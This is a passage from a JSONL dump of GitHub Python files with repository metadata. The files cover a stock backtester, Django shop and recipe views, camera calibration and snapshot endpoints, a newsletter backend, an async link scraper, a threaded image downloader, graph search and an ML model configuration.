\r\n def get_datetime(self):\r\n return copy(self.index[self.cursor])\r\n \r\n def get_cursor_value(self, ticker, label):\r\n return copy(self.historical_data[ticker].ix[self.cursor, label])\r\n \r\n# Just for testing \r\nif __name__ == '__main__':\r\n tickers = ['600030.SH'] \r\n benchmark = ['600030.SH'] \r\n datahandler = CSVDataHandler(tickers, benchmark)\r\n d = datahandler.get_datetime()\r\n ","repo_name":"xybhust/stock-trading-backtester","sub_path":"data_handler.py","file_name":"data_handler.py","file_ext":"py","file_size_in_byte":3704,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"22664439782","text":"from django.urls import path\nfrom carro.views import agregar, eliminar, restar\n\napp_name = \"carro\"\n\nurlpatterns = [\n path(\"agregarproducto/\", agregar, name=\"agregarproducto\"),\n path(\"restarproducto/\", restar, name=\"restarproducto\"),\n # path(\"tienda/\", tienda, name=\"tiendaCategoria\"),\n]\n","repo_name":"robinsonduque/SampleTiendaOnline","sub_path":"ProyectoWeb/carro/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"8362269298","text":"import multiprocessing\nimport cv2\nimport imageio\nimport numpy as np\nfrom ccvtools import rawio # noqa\nfrom joblib import Parallel, delayed\nfrom itertools import islice\n\nfrom calibcam import camfunctions, board, helper\nfrom calibcam.calibrator_opts import finalize_aruco_detector_opts\n\n\ndef detect_corners(rec_file_names, n_frames, board_params, opts, return_matrix=True):\n print('DETECTING FEATURES')\n\n if 'start_frame_indexes' in opts:\n start_frm_indexes = opts['start_frame_indexes']\n stop_frm_indexes = list(np.ones(len(rec_file_names), dtype='int')*(n_frames - np.max(start_frm_indexes))\n + np.asarray(start_frm_indexes))\n else:\n start_frm_indexes = [0]*len(rec_file_names)\n stop_frm_indexes = [None]*len(rec_file_names)\n\n init_frames_masks = opts.get('init_frames_masks', [None] * len(rec_file_names))\n if isinstance(init_frames_masks, str):\n init_frames_masks = np.load(init_frames_masks)\n fin_frames_masks = np.zeros(shape=(len(rec_file_names), n_frames - np.max(start_frm_indexes)), dtype=bool)\n corners_all = []\n ids_all = []\n\n # Empirically, detection seems to utilize about 6 cores\n detections = Parallel(n_jobs=int(np.floor(multiprocessing.cpu_count() // opts['detect_cpu_divisor'])))(\n delayed(detect_corners_cam)(rec_file_name, opts, board_params, start_frm_indexes[i_rec],\n stop_frm_indexes[i_rec], init_frames_masks[i_rec])\n for i_rec, rec_file_name in enumerate(rec_file_names))\n\n for i_cam, detection in enumerate(detections):\n corners_all.append(detection[0])\n ids_all.append(detection[1])\n fin_frames_masks[i_cam, :] = detection[2][:fin_frames_masks.shape[1]]\n print(f'Detected features in {np.sum(fin_frames_masks[i_cam]).astype(int):04d} frames in camera {i_cam:02d}')\n\n if return_matrix:\n return helper.make_corners_array(corners_all, ids_all, (board_params[\"boardWidth\"] - 1) * (\n board_params[\"boardHeight\"] - 1), fin_frames_masks), np.where(np.any(fin_frames_masks, axis=0))[0]\n else:\n return corners_all, ids_all, fin_frames_masks\n\n\ndef detect_corners_cam(video, opts, board_params, start_frm_idx=0, stop_frm_idx=None, init_frames_mask=None):\n reader = imageio.get_reader(video)\n if stop_frm_idx is None:\n stop_frm_idx = camfunctions.get_n_frames_from_reader(reader)\n\n corners_cam = []\n ids_cam = []\n if init_frames_mask is None:\n init_frames_mask = np.ones(stop_frm_idx - start_frm_idx, dtype=bool)\n fin_frames_mask = np.zeros(stop_frm_idx - start_frm_idx, dtype=bool)\n\n # Detect corners over cams\n for (i_frame, frame) in enumerate(islice(reader, start_frm_idx, stop_frm_idx, opts[\"frame_step\"])):\n i_frame = i_frame * opts[\"frame_step\"]\n\n if not init_frames_mask[i_frame]:\n continue\n\n # color management\n if not isinstance(opts['color_convert'], bool) and len(frame.shape) > 2:\n frame = cv2.cvtColor(frame, opts['color_convert']) # noqa\n\n # corner detection\n corners, ids, rejected_img_points = \\\n cv2.aruco.detectMarkers(frame, # noqa\n cv2.aruco.getPredefinedDictionary(board_params['dictionary_type']), # noqa\n **finalize_aruco_detector_opts(opts['detection']['aruco_detect']))\n\n if len(corners) == 0:\n continue\n\n # corner refinement\n corners_ref, ids_ref = \\\n cv2.aruco.refineDetectedMarkers(frame, # noqa\n board.make_board(board_params),\n corners,\n ids,\n rejected_img_points,\n **finalize_aruco_detector_opts(opts['detection']['aruco_refine']))[0:2]\n\n # corner interpolation\n retval, charuco_corners, charuco_ids = \\\n cv2.aruco.interpolateCornersCharuco(corners_ref, # noqa\n ids_ref,\n frame,\n board.make_board(board_params),\n **opts['detection']['aruco_interpolate'])\n if charuco_corners is None:\n continue\n\n # check if the result is degenerated (all corners on a line)\n if not helper.check_detections_nondegenerate(board_params['boardWidth'], charuco_ids):\n continue\n\n # add offset\n # We take offset into consideration at corner detection level. This means that the calibration parameters always\n # refer to the offset-free pixel positions and offsets do NOT have to be taken into account anywhere in\n # this calibration procedure or when working with the \n offset_x, offset_y = camfunctions.get_header_from_reader(reader)['offset']\n charuco_corners[:, :, 0] = charuco_corners[:, :, 0] + offset_x\n charuco_corners[:, :, 1] = charuco_corners[:, :, 1] + offset_y\n\n # check against last used frame\n # TODO check functionality of this code and determine actual value for maxdist\n # Also, this bears the danger that different cams get detections in different frames and pose estimation\n # becomes impossible. If this is ever required, it has to be made sure that cameras get detections on the same\n # frames, e.g. by determining sufficient movement only on the first cam.\n # Alternatively, in videos with a too high framerate, we could just use a frameskip.\n used_frame_ids = np.where(fin_frames_mask)[0]\n if len(used_frame_ids) > 0:\n ids_common = np.intersect1d(ids_cam[-1], charuco_ids)\n\n if helper.check_detections_nondegenerate(board_params['boardWidth'], ids_common):\n prev_mask = np.isin(ids_cam[-1], ids_common)\n curr_mask = np.isin(charuco_ids, ids_common)\n\n diff = corners_cam[-1][prev_mask] - charuco_corners[curr_mask]\n dist = np.sqrt(np.sum(diff ** 2, 1))\n\n if np.max(dist) < opts['detection']['inter_frame_dist']:\n continue\n\n fin_frames_mask[i_frame] = True\n corners_cam.append(charuco_corners)\n ids_cam.append(charuco_ids)\n\n return corners_cam, ids_cam, fin_frames_mask\n","repo_name":"bbo-lab/calibcam","sub_path":"calibcam/detection.py","file_name":"detection.py","file_ext":"py","file_size_in_byte":6473,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"} +{"seq_id":"43674149473","text":"import _thread\nimport logging\nimport os\nimport time\n\nimport requests\nfrom flask import Blueprint, request, jsonify\n\nfrom main import db\nfrom main.api import ThreadFlag\nfrom main.bean.pic_file_bean import PicFile\n\ncamera = Blueprint(\"camera\", __name__)\n\nstreamUrl = \"http://192.168.137.2:8090/?action=stream\"\nsnapUrl = \"http://192.168.137.2:8090/?action=snapshot\"\ntaskInterval = 1 # 一秒一次\n\n\ndef preview(name, count):\n while ThreadFlag.exitFlag:\n r = requests.get(snapUrl)\n img = r.content\n filename = time.strftime(\"%Y-%m-%d-%H-%M-%S-preview.jpg\", time.localtime())\n # 将他拷贝到本地文件 w 写 b 二进制 wb代表写入二进制文本\n with open('runtime/' + filename, 'wb') as f:\n f.write(img)\n\n if os.path.getsize('runtime/' + filename) > 0:\n print('预览保存成功')\n else:\n print('预览保存失败')\n time.sleep(taskInterval)\n\n\n# 启动摄像头\n@camera.route('/start', methods=['POST'])\ndef startCamera():\n try:\n ThreadFlag.exitFlag = True\n _thread.start_new_thread(preview, (\"preview\", 2))\n except Exception as e:\n print(\"启动线程失败\" + e.__str__())\n\n ret_code = 1\n if ret_code == 0:\n ret = {'filename': ''}\n ret_data = {\n \"code\": 0,\n \"message\": \"success\",\n \"success\": 1,\n \"data\": ret\n }\n else:\n ret_data = {\n \"code\": ret_code,\n \"message\": \"fail\",\n \"success\": 0\n }\n return jsonify(ret_data)\n\n\n@camera.route('/stop', methods=['POST'])\ndef stopCamera():\n print('停止预览截图任务')\n ThreadFlag.exitFlag = False\n ret_data = {\n \"code\": 0,\n \"message\": \"success\",\n \"success\": 1\n }\n return jsonify(ret_data)\n\n\n# 拍照\n@camera.route('/snapshot', methods=['POST'])\ndef snapShot():\n r = requests.get(snapUrl)\n logging.debug(r)\n img = r.content\n filename = time.strftime(\"%Y-%m-%d-%H-%M-%S-snapshot.jpg\", time.localtime())\n # 将他拷贝到本地文件 w 写 b 二进制 wb代表写入二进制文本\n with open('snapshot/' + filename, 'wb') as f:\n f.write(img)\n\n if os.path.getsize('snapshot/' + filename) > 0:\n ret_code = 0\n else:\n ret_code = 1\n\n # ret_code = 1\n if ret_code == 0:\n ret = {'filename': filename}\n ret_data = {\n \"code\": 0,\n \"message\": \"success\",\n \"success\": 1,\n \"data\": ret\n }\n else:\n ret_data = {\n \"code\": ret_code,\n \"message\": \"fail\",\n \"success\": 0\n }\n return jsonify(ret_data)\n\n\n# 拍照\n@camera.route('/testdb', methods=['POST'])\ndef testdb():\n ts = time.localtime()\n filename = time.strftime(\"%Y-%m-%d-%H-%M-%S-snapshot.jpg\", ts)\n\n abspath = 'snapshot/' + filename\n data = PicFile(path=abspath, timestamp=time.mktime(ts))\n db.session.add(data)\n db.session.commit()\n # if os.path.getsize('snapshot/' + filename) > 0:\n # ret_code = 0\n # else:\n ret_code = 1\n\n # ret_code = 1\n if ret_code == 0:\n ret = {'filename': filename}\n ret_data = {\n \"code\": 0,\n \"message\": \"success\",\n \"success\": 1,\n \"data\": ret\n }\n else:\n ret_data = {\n \"code\": ret_code,\n \"message\": \"fail\",\n \"success\": 0\n }\n return jsonify(ret_data)\n","repo_name":"xueweipeng/server_framework","sub_path":"main/api/camera_interface.py","file_name":"camera_interface.py","file_ext":"py","file_size_in_byte":3468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"13611699362","text":"import json\nfrom dataclasses import dataclass\n\n\nclass TestBackend:\n def submit(self, data, mailing_lists):\n print(\n {\n \"data\": data,\n \"mailing_lists\": mailing_lists,\n }\n )\n\n\n@dataclass\nclass EmailSubscriber:\n name: str\n email: str\n list_uuids: list\n source: str = None\n extra_context: dict = None\n status: str = \"enabled\"\n\n def __post_init__(self):\n # Validate email\n if \"@\" not in self.email:\n raise ValueError(\"Invalid email address.\")\n if \"@\" in self.name:\n raise ValueError(\"Name cannot contain an email address\")\n if not isinstance(self.list_uuids, list):\n raise ValueError(\"'list_uuids' must be a list\")\n self.list_uuids = [int(x) for x in self.list_uuids]\n\n def as_listmonk_json(self):\n if self.source:\n if not self.extra_context:\n self.extra_context = {}\n self.extra_context[\"source_url\"] = self.source\n return {\n \"email\": self.email,\n \"name\": self.name,\n \"status\": self.status,\n \"lists\": self.list_uuids,\n \"attribs\": self.extra_context,\n }\n\n\nclass EventBridgeBackend:\n def __init__(self, source=None, bus_arn=None):\n if not source:\n raise ValueError(\n \"'source' required. This should be the project name\"\n )\n\n self.source = source\n\n if not bus_arn:\n raise ValueError(\"'bus_arn' for this environment required\")\n self.bus_arn = bus_arn\n\n self.dev_mode = False\n if bus_arn.endswith(\"development\"):\n self.dev_mode = True\n\n # Import locally because it's an optional extra only used in this class\n import boto3\n\n self.client = boto3.client(\"events\", region_name=\"eu-west-2\")\n\n def list_name_to_list_id(self, dev_mode):\n \"\"\"\n ListMonk uses numeric list IDs to add subscribers.\n\n These IDs are just the PK of the list in the database, so depend on the install.\n\n There is no way to give them a slug or other unique ID that can be relied on.\n\n Because of this, we hard code these IDs here. It's not ideal, but at least\n keeps the logic ina single place.\n\n Because these IDs (might) change between ListMonk installs, we need two dicts,\n one for dev and one for prod.\n \"\"\"\n\n if dev_mode:\n return {\"main_list\": \"3\"}\n\n # Prod values\n return {\"main_list\": \"4\"}\n\n def submit(self, data, mailing_lists):\n list_id_map = self.list_name_to_list_id(self.dev_mode)\n list_ids = [list_id_map[list_name] for list_name in mailing_lists]\n subscriber = EmailSubscriber(\n email=data[\"email\"],\n name=data[\"full_name\"],\n list_uuids=list_ids,\n source=data.get(\"source_url\"),\n )\n\n self.client.put_events(\n Entries=[\n {\n \"Source\": self.source,\n \"DetailType\": \"new_subscription\",\n \"Detail\": json.dumps(subscriber.as_listmonk_json()),\n \"EventBusName\": self.bus_arn,\n },\n ],\n )\n","repo_name":"DemocracyClub/dc_signup_form","sub_path":"dc_signup_form/backends.py","file_name":"backends.py","file_ext":"py","file_size_in_byte":3265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"23681122469","text":"anything = []\nx_size = 10\ny_size = 6\n\nfor i in range(x_size):\n for j in range(y_size):\n anything.append((i, j))\n print(anything)\nelse:\n print(x_size * y_size, \"points have been generated\")\n print(points)","repo_name":"augmentedfabricationlab/afab_course","sub_path":"02_python_basics/examples/03_loops/ex5_nested_lists.py","file_name":"ex5_nested_lists.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"} +{"seq_id":"15905685541","text":"import re\nimport urllib.error\nimport urllib.parse\nimport asyncio\n\nfrom aiohttp import ClientSession, ClientError\nfrom aiohttp.http_exceptions import HttpProcessingError\n\nfrom lib.loggerinit import logger_init\nfrom lib.htmlgetter import fetch_html\n\nlogger = logger_init(__name__)\n\n# Regex for searching for hrefs in response page.\n\nHREF_RE = re.compile(r'href=\"(.*?)\"')\n\n\n# Parse HTML (Currently finds Hrefs)\n\nasync def parse(url: str, session: ClientSession, **kwargs) -> set:\n \"\"\"Find HREFs in the HTML of `url`.\"\"\"\n found = set()\n try:\n html = await fetch_html(url=url, session=session, **kwargs)\n except (\n ClientError,\n HttpProcessingError,\n asyncio.TimeoutError\n ) as e:\n logger.error(\n \"aiohttp exception for %s [%s]: %s\",\n url,\n getattr(e, \"status\", None),\n getattr(e, \"message\", None),\n )\n return found\n except Exception as e:\n logger.exception(\n \"Non-aiohttp exception occured: %s\", getattr(e, \"__dict__\", {})\n )\n return found\n else:\n links = HREF_RE.findall(html)\n for link in links:\n try:\n abslink = urllib.parse.urljoin(url, link)\n except (urllib.error.URLError, ValueError):\n logger.exception(\"Error parsing URL: %s\", link)\n pass\n else:\n found.add(abslink)\n logger.info(\"Found %d links for %s\", len(found), url)\n return found\n","repo_name":"callumblanchard/async-scraper","sub_path":"lib/htmlparser.py","file_name":"htmlparser.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"7683740889","text":"from data_structures.stacks_and_queues.stacks_and_queues import Queue\nfrom data_structures.graph.graph import Graph\n\n\nclass BF_Graph(Graph):\n\n def breadth_first(self, vertex):\n node = []\n breadth = Queue()\n\n breadth.enqueue(vertex)\n visited = set()\n\n while not breadth.is_empty():\n front = breadth.dequeue()\n node.append(front.value)\n\n for neighbor in self.get_neighbor(front):\n if neighbor.vertex.value not in visited:\n visited.add(neighbor.vertex.value)\n breadth.enqueue(neighbor.vertex)\n return node\n","repo_name":"ben-hill33/data-structures-and-algorithms-python","sub_path":"algorithms/breadth_first/breadth_first.py","file_name":"breadth_first.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"37261173331","text":"import urllib\nimport requests\nimport re\nimport sys\nimport time\nimport threading\nfrom datetime import datetime\nfrom multiprocessing.dummy import Pool\nfrom multiprocessing import Queue\nfrom .Image import Image\nfrom abc import ABC, abstractmethod\nfrom pathlib import Path\n\nclass DynamicImgsDownloader(ABC):\n \n def __init__(self, word, processNum = 16, dirpath = None):\n if \" \" in word:\n raise(\"Multi keyword joint search is not supported temporarily.\")\n \"\"\"\n These member variables need to be reset in the subclass.\n \"\"\"\n self._identify = \"Baseclass\" # The search engine identify\n self._encode = \"utf-8\" # The encode method of engine\n self._re_url = re.compile(\"\") # Regular matching rules of image source URL\n \"\"\"\n end\n \"\"\"\n self._word = word # Image keyword\n root_path = Path.cwd() # Project root path\n result_path = root_path / \"download\" # The download result folder\n # Make default download path when folder is not specified\n if not dirpath:\n dirpath = result_path / self._word\n self._dirpath = dirpath \n # Make related folder\n if not Path.exists(result_path):\n Path.mkdir(result_path)\n if not Path.exists(self._dirpath):\n Path.mkdir(self._dirpath)\n self._logDir = root_path / \"logs\" # log files folder path\n if not Path.exists(self._logDir): # \n Path.mkdir(self._logDir)\n self._srcUrlFile =self._logDir / \"srcUrl\"\n self._logFile = self._logDir / \"logInfo\"\n self._errorFile = self._logDir / \"errorUrl\"\n if Path.exists(self._errorFile):\n Path.unlink(self._errorFile) \n self._session = requests.Session()\n self._session.headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\",\n \"Accept-Encoding\": \"gzip, deflate, sdch\",\n }\n self._delay = 1.5 # Add a delay to prevent being banned due to frequent requests\n self._index = 0 # image file index for save \n self._pool = Pool(processNum)\n self._queue = Queue() # to save and read image src url\n self._messageQueue = Queue() # message queue for log info\n self._lock = threading.Lock() # Synchrolock\n self._prefix = \"** \"\n self._QUIT = \"QUIT\"\n\n def start(self):\n # start the log monitor\n t = threading.Thread(target=self._log)\n t.setDaemon(True)\n t.start()\n # create job\n self._messageQueue.put(self._prefix + \"New job start. Keyword: %s, Search engine: %s\"%(self._word, self._identify))\n start_time = datetime.now()\n # step 1: create all the jsonurl according to the specified engine\n urls = self._buildUrls()\n self._messageQueue.put(self._prefix + \"Total %s source urls\"%(len(urls)))\n # step 2: resolve all the jsonurls to accquire the images url \n self._pool.map(self._resolveUrl, urls[0:1])\n # step 3: download the image according to image url\n while self._queue.qsize():\n imgs = self._queue.get()\n self._pool.map_async(self._downImg, imgs)\n self._pool.close()\n self._pool.join()\n # end \n self._messageQueue.put(self._prefix + \"Job completed. Total %s images. Duration: %s\"%(self._index, datetime.now() - start_time))\n self._messageQueue.put(self._prefix + \"The images are saved in %s.\"%self._dirpath)\n self._messageQueue.put(self._prefix + \"Logs are saved in %s\"%self._logFile)\n self._messageQueue.put(self._prefix + \"Errors are saved in %s\"%self._errorFile)\n self._messageQueue.put(self._QUIT)\n\n def _log(self):\n \"\"\"\n Print log in consloe and log file\n \"\"\"\n with open(self._logFile, \"w+\", encoding=\"utf-8\") as f:\n while True:\n msg = self._messageQueue.get()\n # end\n if msg == self._QUIT:\n break\n msg = str(datetime.now()) + \" \" + msg\n # resolve info and others \n if self._prefix in msg:\n print(msg)\n # downlog info\n elif \"Downloading\" in msg:\n pass\n f.write(msg + '\\n')\n f.flush()\n\n @abstractmethod\n def _buildUrls(self):\n \"\"\"\n A abstract method to build the src url for acquiring image urls.\n This method must be implemented in subclasses.\n This method should be designed according to the specified website.\n \"\"\"\n \n def _decode(self, url):\n \"\"\"\n This method work for decode image url if necessary.\n This method is not set to abstract because some engines do not need to decode. \n You can override this function in a subclass if you need to decode the image url.\n \"\"\"\n return url\n\n def _resolveUrl(self, url):\n \"\"\"\n Resolve the urls of images from the specified link\n Input:\n url. The specified link\n \"\"\"\n # sleep\n time.sleep(self._delay)\n # get html page from jsonurl\n html = self._session.get(url, timeout = 15).content.decode(self._encode)\n # resolve image URL according to regular rules\n datas = self._re_url.findall(html)\n # make image objects containing url and type\n imgs = [Image(self._decode(x), self._decode(x).split(\".\")[-1]) for x in datas]\n # generate log info\n info = self._prefix + \"%s image urls has been resolved.\"%len(imgs)\n # save in Queue \n self._messageQueue.put(info)\n self._queue.put(imgs)\n\n def _downImg(self, img):\n \"\"\"\n Download the img according to the img_url and save img as img_type\n Input:\n img. The image info as type Image.\n \"\"\"\n imgUrl = img.url\n msg = None\n try:\n # sleep\n time.sleep(self._delay)\n # get image\n img_res = self._session.get(imgUrl,timeout = 15)\n if str(img_res.status_code)[0] == \"4\":\n msg = \"\\nDownload failed.%s : %s\"%(imgUrl, img_res.status_code)\n elif \"text/html\" in img_res.headers[\"Content-Type\"]:\n msg = \"\\nCan not open image.%s\"%imgUrl \n except Exception as e:\n msg = \"\\nException: %s.%s\"%(str(e),imgUrl)\n finally:\n # download failed\n if msg:\n self._messageQueue.put(msg)\n self._saveError(msg)\n # download success\n else:\n # get image index\n index = self._getIndex()\n # downloading and save\n info = \"Downloading: %s th images. Url: %s.\"%(index + 1, imgUrl)\n self._messageQueue.put(info)\n filename = self._dirpath / (self._identify + \"_\" + self._word + \"_\" + str(index) + \".\" + img.type)\n with open(filename, \"wb\") as f:\n f.write(img_res.content)\n \n def _getIndex(self):\n \"\"\"\n Get current index \n \"\"\"\n self._lock.acquire()\n try:\n return self._index\n finally:\n self._index += 1\n self._lock.release()\n \n def _saveError(self, msg):\n \"\"\"\n Record the error message in errorfile\n Input: \n msg. The error message \n \"\"\"\n self._lock.acquire()\n try:\n with open(self._errorFile, \"a+\", encoding=\"utf-8\") as f:\n f.write(msg)\n finally: \n self._lock.release()\n \nif __name__ == \"__main__\":\n\n pass\n\n","repo_name":"pHantomU94/ImgCTool","sub_path":"src/dynamicDL.py","file_name":"dynamicDL.py","file_ext":"py","file_size_in_byte":7794,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"} +{"seq_id":"11490645035","text":"import os\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.db.models import Q\nfrom django.http.response import Http404\nfrom django.shortcuts import get_list_or_404, get_object_or_404, render\nfrom django.urls import reverse\n\nfrom recipes.models import Recipe\nfrom Utils.pagination import make_pagination\n\nPER_PAGE = int(os.environ.get(\"PER_PAGE\", 6))\n\n@login_required(login_url=\"cadastro:login\", redirect_field_name=\"next\")\ndef home(request):\n recipes = Recipe.objects.filter(is_published=True,).order_by(\"-id\")\n\n page_obj, pagination_range = make_pagination(request, recipes, PER_PAGE)\n\n return render(request, \"recipes/pages/home.html\", context={\n \"Type-Title\": \"Recipes\",\n \"recipes\": page_obj, \n \"pagination_range\": pagination_range,\n \"link\": reverse(\"recipes:home\"),\n }) \n\ndef category(request, category_id):\n recipes = get_list_or_404(Recipe.objects.filter(category__id=category_id, is_published= True).order_by(\"-id\"))\n\n page_obj, pagination_range = make_pagination(request, recipes, PER_PAGE)\n\n return render(request, \"recipes/pages/category.html\", context={\n \"recipes\": page_obj,\n \"title\": f'Category - {recipes[0].category.name}',\n \"pagination_range\": pagination_range,\n \"link\": reverse(\"recipes:home\"),\n })\n\ndef recipe(request, id):\n recipe = get_object_or_404(Recipe, id=id, is_published= True)\n return render(request, \"recipes/pages/recipe-view.html\", context={\n \"recipe\": recipe,\n \"is_detail_page\": True,\n \"title\": f' {recipe.title}',\n \"link\": reverse(\"recipes:home\"),\n \"search\": False,\n })\n\n# strip tira os espaços (+)\n\ndef search(request):\n search_term = request.GET.get(\"q\", \"\").strip()\n\n if not search_term:\n raise Http404()\n \n recipes = Recipe.objects.filter(\n Q(\n Q(title__icontains=search_term) |\n Q(description__icontains=search_term) |\n Q(category__name__icontains=search_term)\n ),\n is_published= True\n ).order_by(\"-id\")\n \n page_obj, pagination_range = make_pagination(request, recipes, PER_PAGE)\n\n return render(request, \"recipes/pages/search.html\", context={\n \"page_title\" : f\"Search for '{search_term}'\",\n \"search_term\" : search_term,\n \"recipes\" : page_obj,\n \"pagination_range\": pagination_range,\n \"additional_url_query\": f\"&q={search_term}\",\n \"link\": reverse(\"recipes:home\"),\n })\n\n\n","repo_name":"DanonePlayer/Django","sub_path":"recipes/views/all_views.py","file_name":"all_views.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"71407815460","text":"from datetime import datetime\nimport numpy as np\nimport os\nimport torch\nfrom cseta.models.nn.helper import L1Loss, RMSLELoss, MAPELoss\n\n\nclass ModelConfiguration:\n def __init__(self, configs=None):\n self.MODE = [\"DEBUG\", \"FULL_SET\"][1]\n self.use_azure = False\n self.use_allegro = True\n self.global_cleansing = True\n self.PSA = False\n self.keelung = False\n self.apply_waiting_time_feature = True\n self.enable_hyper_parameter_tuning = False\n self.is_skip_processing = False\n self.waiting_time_pred_only = False\n self.remarks = \"\"\n self.with_mae_curve = True\n self.with_test_curve = False\n self.fullset_eval = False\n\n self.data_folder = \"20221213101259\"\n self.trainset = os.path.join(self.data_folder, \"inference_output\", \"train\")\n self.testset = os.path.join(self.data_folder, \"inference_output\", \"test\")\n self.valid_num_months = 1\n\n # Speed Cleansing\n self.speed_lower_bound = 1\n self.departure_speed_threshold = 6\n\n self.train_data_path = None\n self.test_data_path = None\n self.output_path = None\n self.log_path = None\n self.file_name = (\n \"processed_debug_set.parquet\"\n if self.MODE == \"DEBUG\"\n else \"processed_fullset.parquet\"\n )\n self.waiting_time_data_path = (\n os.path.join(\n os.environ.get(\"GVVMC_HOME\"),\n \"data\",\n \"a5_raw_data\",\n self.data_folder,\n \"inference_output\",\n \"port_pair_vsl_date_waiting_stats.csv\",\n )\n if os.environ.get(\"GVVMC_HOME\")\n else None\n )\n\n self.output_mode = None\n self.data_src = None\n\n # DDP config\n self.world_size = -1\n self.local_rank = -1\n self.global_rank = -1\n\n self.sample_by = [\"4hrs\", \"60km\"][0]\n self.sample_method = [\"random\", \"latest\", \"earliest\"][0]\n self.target_transform = [\n \"None\",\n \"standard normalization\",\n \"natural log\",\n \"boxcox lambda=0.3\",\n \"log standard normalization\",\n ][1]\n self.target = [\"y_actual_pilot\", \"y_actual_berth\"]\n self.target_weight = [1, 1]\n self.seq_features = [\n \"speed\",\n \"ais_rem_time\",\n \"haversine_distance\",\n \"dlon_sin\",\n \"dlon_cos\",\n \"dlat_sin\",\n \"vsl_lat\",\n \"vsl_lon\",\n \"travel_time\",\n \"is_next_port\",\n ]\n self.add_next_port_indicator = \"is_next_port\" in self.seq_features\n self.con_features = [\n \"speed\",\n \"ais_rem_time\",\n \"inv_speed\",\n \"haversine_distance\",\n \"coastal_rem_time\",\n \"dest_prt_lat\",\n \"dest_prt_lon\",\n \"vsl_lat\",\n \"vsl_lon\",\n \"travel_time\",\n \"time_after_atp\",\n \"seq_length\",\n ]\n self.con_wt_features = [\"dest_cos_hour\", \"dest_sin_hour\"]\n\n self.con_features += self.con_wt_features\n self.con_waiting_time_features = [\"prev_n_waiting_hrs_mean\"]\n self.con_features += (\n self.con_waiting_time_features if self.apply_waiting_time_feature else []\n )\n self.cat_features = [\n \"dest_country_code\",\n \"sch_scac\",\n \"dest_cs_prt_id\",\n \"dest_tmn_id\",\n \"vsl_opr_id\",\n \"vsl_size\",\n \"orig_cs_prt_id\",\n \"orig_tmn_id\",\n \"coastal_rem_time_is_nan\",\n \"ais_rem_time_is_nan\",\n ]\n self.cat_wt_features = [\"dest_day_interval\", \"dest_wkday\"]\n self.cat_features += self.cat_wt_features\n\n self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n self.dual_gpu = False\n self.seed = 1234\n self.checkpoint_ensemble = False\n self.ais_sequence = [\"previous ais\", \"latest ais only\", \"duplicate latest ais\"][\n 0\n ] # switched off PROD AIS cache, using latest only\n self.max_sequence_length = 64\n self.batch_size = 8192 * 2\n self.lr = 0.005\n self.dropout_rate = 0.5\n self.epoch = 20\n self.step_freq = 100\n self.patience = 20\n self.loss_func = [L1Loss, RMSLELoss, MAPELoss][2]\n self.normalized_l1_weight = None # [[1454.231,6258.352],[1973.87,5316.409],[4441.481,10087.8],[4724.533,9522.821],[8854.741,15772.19],[7457.419,12214.5],[22399.08,32594.59],[20056.79,28598.43],[52866.41,70562.46],[80226.87,102690.1]]\n self.with_uncertainty = False\n self.confidence_alpha = 0.025 # L1Loss: 15000; MAPELoss: 0.025 (suggest to set as 1/10 of the converged loss value without uncertainty)\n self.target_limit = [\n 3600,\n 42 * 24 * 3600,\n ] # in MAPELoss, limit the target, unit in seconds\n self.optimizer = torch.optim.Adam\n self.activation = torch.nn.ReLU\n self.batch_normalization = True\n self.lookahead = False\n self.zero_rectifier_slope = False\n\n self.lstm_num_layer = 1\n self.lstm_hidden_size = 128\n self.conv_out = [8, 16, 32]\n self.conv_kernals = [2, 4, 8, 16]\n self.fc_seq_out = [128, 64]\n self.fc_cat_out = [64, 40]\n self.fc_out = [64, 32, len(self.target)]\n\n self.meta = {\n \"subsets\": [\"overall\", \"waiting only\", \"without waiting only\"],\n \"act_cols\": self.target.copy(),\n \"pred_cols\": [y.replace(\"y_actual\", \"y_pred\") for y in self.target],\n \"abs_error_cols\": [y.replace(\"y_actual\", \"abs_error\") for y in self.target],\n \"is_evaluate_cols\": [\n y.replace(\"y_actual\", \"is_evaluate\") for y in self.target\n ],\n \"weight_cols\": [y.replace(\"y_actual\", \"weight\") for y in self.target],\n \"interval_cols\": [\n \"12_hrs\",\n \"24_hrs\",\n \"2_days\",\n \"3_days\",\n \"5_days\",\n \"7_days\",\n \"_14days\",\n \"_21days\",\n \"_42days\",\n \"_42days+\",\n ],\n \"sort_cols\": [\n \"vsl_gid\",\n \"orig_atd_utc\",\n \"dest_ata_utc\",\n \"src\",\n \"time_seen_utc\",\n ], # must include group_cols in the front\n \"group_cols\": [\"vsl_gid\", \"orig_atd_utc\", \"dest_ata_utc\", \"src\"],\n \"port_pair_cols\": [\"orig_cs_prt_id\", \"dest_cs_prt_id\"],\n }\n if (\n self.apply_waiting_time_feature\n ): ## Update meta group cols for waiting time feature\n self.past_n_days_to_cal_waiting = 14\n self.meta.update(\n {\n \"waiting_time_fea_group_col\": [\n \"time_seen_date\",\n \"prev_unlocode\",\n \"dest_unlocode\",\n \"is_large_vsl\",\n ]\n }\n )\n self.vars = {\n \"embd_size\": [],\n \"n_class\": [],\n \"std_norm_const\": [],\n \"target_mean\": None,\n 